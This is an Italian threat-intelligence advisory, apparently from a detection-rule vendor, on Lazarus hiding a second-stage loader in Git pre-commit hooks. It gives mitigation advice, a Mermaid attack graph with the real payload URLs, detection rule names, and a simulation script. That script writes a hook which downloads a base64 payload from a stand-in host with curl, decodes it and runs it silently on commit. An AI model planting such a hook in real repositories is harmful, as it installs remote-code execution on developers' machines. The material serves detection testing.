Il Gruppo Lazarus Usa Git Hooks per Nascondere Malware: L’intervista pericolosa della RDPC e la campagna TaskJacker stanno ora nascondendo il loro caricatore di secondo stadio all’interno di git hooks che scaricano i malware InvisibleFerret e Beavertail
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
Il gruppo nordcoreano Lazarus ha aggiornato la sua campagna Contagious Interview e TaskJacker incorporando un meccanismo di consegna di seconda fase all’interno di Git dannosi pre-commit and post-checkout hook. Questi hook recuperano silenziosamente payload specifici per la piattaforma da un URL ospitato su Vercel ed eseguono tali payload su sistemi macOS, Linux e Windows. Sfruttando i flussi di lavoro affidabili degli sviluppatori e degli strumenti di repository, gli attaccanti trasformano attività di codifica di routine in un vettore di compromissione della supply chain che può portare al furto di credenziali e alla compromissione di portafogli di criptovalute. Gli indicatori chiave includono il dannoso .githooks/pre-commit script e infrastruttura ospitati su precommit.vercel.app.
Indagine
I ricercatori di OpenSourceMalware hanno identificato un compatto .githooks/pre-commit script che rileva il sistema operativo della vittima e scarica il payload appropriato da precommit.vercel.app usando curl or wget. Lo stesso hash dello script è apparso in diversi repository GitHub mascherati da progetti di valutazione del codice legati a temi crypto e DeFi. L’infrastruttura ha servito diversi payload shell o batch a seconda del sistema operativo, controllati tramite un parametro di query a flag. I ricercatori hanno anche condiviso le query di ricerca di codice GitHub che possono essere utilizzate per riprodurre la ricerca e individuare repository simili.
Mitigazione
Le organizzazioni dovrebbero esaminare attentamente gli hook dei repository Git, specialmente i file sotto .githooks, .husky, e .vscode/tasks.json, prima di consentirne l’esecuzione. Gli sviluppatori dovrebbero clonare e testare repository non attendibili solo in ambienti isolati che non contengano chiavi SSH, file di portafogli o profili di browser attivi. L’esecuzione automatica degli hook Git dovrebbe essere disabilitata ove possibile o limitata a script approvati. I team di sicurezza dovrebbero anche monitorare il traffico in uscita verso precommit.vercel.app e domini simili che potrebbero supportare la consegna di payload dannosi.
Risposta
I difensori dovrebbero bloccare la comunicazione di rete con precommit.vercel.app e creare un monitoraggio dell’integrità dei file per file inaspettati .githooks/pre-commit . Gli avvisi dovrebbero essere attivati anche quando curl or wget viene eseguito da processi correlati agli hook Git. Ogni credenziale, token o portafoglio di criptovalute potenzialmente esposti dovrebbe essere indagato e ruotato immediatamente. La caccia alle minacce dovrebbe essere ampliata utilizzando gli indicatori forniti per identificare i repository colpiti e qualsiasi sistema che abbia interagito con essi.
"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2e0ff classDef artifact fill:#e6e6e6 classDef action fill:#ffd9b3 %% Nodes u2013 Actions action_clone["<b>Azione</b> – La vittima clona il repository dannoso<br/><b>Descrizione</b>: Scarica codice contenente un hook Git dannoso."] class action_clone action action_commit["<b>Azione</b> – La vittima esegue <code>git commit</code><br/><b>Descrizione</b>: Attiva automaticamente l’hook preu2011commit."] class action_commit action %% Nodes u2013 Artifacts artifact_repo["<b>Artefatto</b> – Repository Git dannoso<br/><b>Dettagli</b>: Fornisce materiale fittizio per l’intervista di valutazione del codice."] class artifact_repo artifact artifact_hook["<b>Artefatto</b> – Script .githooks/preu2011commit<br/><b>Dettagli</b>: Eseguito automaticamente su ogni <code>git commit</code>."] class artifact_hook artifact artifact_urls["<b>Artefatto</b> – URL dei payload remoti<br/><b>Dettagli</b>: https://precommit.vercel.app/settings/mac?flag=5<br/>https://precommit.vercel.app/settings/linux?flag=5<br/>https://precommit.vercel.app/settings/windows?flag=5"] class artifact_urls artifact %% Nodes u2013 Techniques tech_supply_chain["<b>Tecnica</b> – T1195: Comprimari della Supply Chain<br/><b>Descrizione</b>: Gli avversari compromettono una supply chain di software di terze parti per distribuire codice dannoso alle vittime."] class tech_supply_chain technique tech_dependency["<b>Tecnica</b> – T1195.001: Compromissione di Dipendenze Software e Strumenti di Sviluppo<br/><b>Descrizione</b>: Bersagliare le dipendenze software o gli strumenti di sviluppo per incorporare codice dannoso."] class tech_dependency technique tech_proxy_exec["<b>Tecnica</b> – T1127: Esecuzione tramite Proxy di Utilità di Sviluppatori Affidabili<br/><b>Descrizione</b>: Usare utilità di sviluppatore affidabili (es. Git hooks) per eseguire codice controllato dall’attaccante."] class tech_proxy_exec technique tech_unix_shell["<b>Tecnica</b> – T1059.004: Interprete di Comandi e Script u2013 Shell Unix<br/><b>Descrizione</b>: Eseguire comandi tramite un interprete shell Unix."] class tech_unix_shell technique tech_user_exec["<b>Tecnica</b> – T1204.004: Esecuzione Utente u2013 Copia e Incolla Maliziosa<br/><b>Descrizione</b>: La vittima esegue codice dannoso non intenzionalmente tramite azioni di copia e incolla."] class tech_user_exec technique tech_taint["<b>Tecnica</b> – T1080: Contaminazione di Contenuti Condivisi<br/><b>Descrizione</b>: Integrare contenuti dannosi in risorse condivise che vengono successivamente eseguite dalle vittime."] class tech_taint technique tech_content_injection["<b>Tecnica</b> – T1659: Iniezione di Contenuti<br/><b>Descrizione</b>: Inserire contenuto dannoso nei file legittimi o nei flussi di dati."] class tech_content_injection technique %% Nodes u2013 Tools tool_git["<b>Strumento</b> – Git<br/><b>Descrizione</b>: Sistema di controllo versione che esegue script di hook sugli eventi di repository."] class tool_git tool tool_curl["<b>Strumento</b> – curl / wget<br/><b>Descrizione</b>: Scarica contenuti remoti tramite HTTP/HTTPS."] class tool_curl tool tool_sh["<b>Strumento</b> – /bin/sh<br/><b>Descrizione</b>: Interprete shell utilizzato per eseguire payload scaricati."] class tool_sh tool %% Connections u2013 Attack Flow action_clone –>|consegna| artifact_repo artifact_repo –>|abilita| tech_supply_chain tech_supply_chain –>|facilita| tech_dependency tech_dependency –>|posiziona| artifact_hook action_commit –>|attiva| artifact_hook artifact_hook –>|sfrutta| tech_proxy_exec tech_proxy_exec –>|esegue tramite| tool_git tool_git –>|invoca| tech_unix_shell tech_unix_shell –>|usa| tool_curl tool_curl –>|scarica| artifact_urls artifact_urls –>|fornisce a| tech_taint tech_taint –>|conduce a| tech_content_injection tech_content_injection –>|esegue tramite| tool_sh tool_sh –>|esegue payload dannoso| tech_user_exec "
Flusso d’attacco
Rilevamenti
Uso sospetto di CURL (via cmdline)
Visualizza
Possibile Infiltrazione/Esfiltrazione di Dati/C2 tramite Servizi/Strumenti di Terzi (via proxy)
Visualizza
Possibile Infiltrazione/Esfiltrazione di Dati/C2 tramite Servizi/Strumenti di Terzi (via dns)
Visualizza
Tentativo di Esecuzione Sospetto di Curl [MacOS] (via cmdline)
Visualizza
Upload/Download di File Remoti tramite Strumenti Standard (via cmdline)
Visualizza
IOC (HashSha1) da rilevare: Il gruppo Lazarus usa Git Hook per nascondere malware. La campagna Contagious Interview e TaskJacker della DPRK ora nasconde il suo caricatore di seconda fase all’interno di git hook che scaricano malware InvisibleFerret e Beavertail
Visualizza
Rilevamento di Hook Pre-Commit dannosi in Git con Comando Curl [Creazione Processo Windows]
Visualizza
Attività Sospetta di Hook Pre-Commit Scaricando Payload di Script Shell [Creazione Processo Linux]
Visualizza
Loader dannoso del Gruppo Lazarus in Git Hooks [Evento File Linux]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo Prevolo di Telemetria & Baseline deve essere superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta attesa dalla logica di rilevamento.
-
Narrativa d’Attacco e Comandi:
Un operatore del gruppo Lazarus compromette la workstation di uno sviluppatore e inietta un hook pre-commit Git dannoso. L’hook è collocato in una directory nascosta “.githooks” per evitare la scoperta casuale. Quando qualsiasigit commitviene eseguito, l’hook contatta silenziosamente un server C2, scarica un payload codificato base64, lo scrive su/tmp/.payload, lo rende eseguibile e lo esegue, stabilendo così un punto d’appoggio (T1620) ed eseguendo un payload dannoso incorporato (T1027.009). -
Script di Test di Regressione:
#!/bin/bash # ------------------------------------------------- # Test di hook pre-commit git dannoso in stile Lazarus # ------------------------------------------------- # 1. Crea la directory nascosta .githooks mkdir -p "$HOME/.githooks" # 2. Scrivi hook pre-commit dannoso cat > "$HOME/.githooks/pre-commit" <<'EOF' #!/bin/bash # Hook pre-commit dannoso – scarica ed esegue payload C2_URL="http://malicious.example.com/payload.b64" TMPFILE="/tmp/.payload" # Scarica payload base64 curl -s -o "$TMPFILE.b64" "$C2_URL" # Decodifica e imposta eseguibile base64 -d "$TMPFILE.b64" > "$TMPFILE" chmod +x "$TMPFILE" # Esegui payload silenziosamente "$TMPFILE" & exit 0 EOF # 3. Rendi l'hook eseguibile chmod +x "$HOME/.githooks/pre-commit" # 4. Simula un git commit per attivare l'hook mkdir -p "$HOME/malicious-repo" cd "$HOME/malicious-repo" git init > /dev/null 2>&1 touch README.md git add README.md git commit -m "Commit iniziale" > /dev/null 2>&1 echo "Hook pre-commit dannoso eseguito (se il rilevamento funziona, dovrebbe apparire un avviso)." -
Comandi di Ripristino:
#!/bin/bash # Rimuovi artefatti dannosi rm -rf "$HOME/.githooks" rm -f "/tmp/.payload" "/tmp/.payload.b64" rm -rf "$HOME/malicious-repo" echo "Pulizia completata."